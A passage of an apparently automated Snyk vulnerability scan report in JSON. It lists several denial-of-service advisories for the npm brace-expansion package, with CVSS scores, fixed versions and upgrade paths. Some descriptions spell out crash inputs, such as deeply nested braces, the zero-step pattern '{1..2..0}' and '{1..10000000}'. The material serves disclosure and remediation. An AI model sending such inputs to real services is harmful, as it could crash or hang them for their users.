"npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is 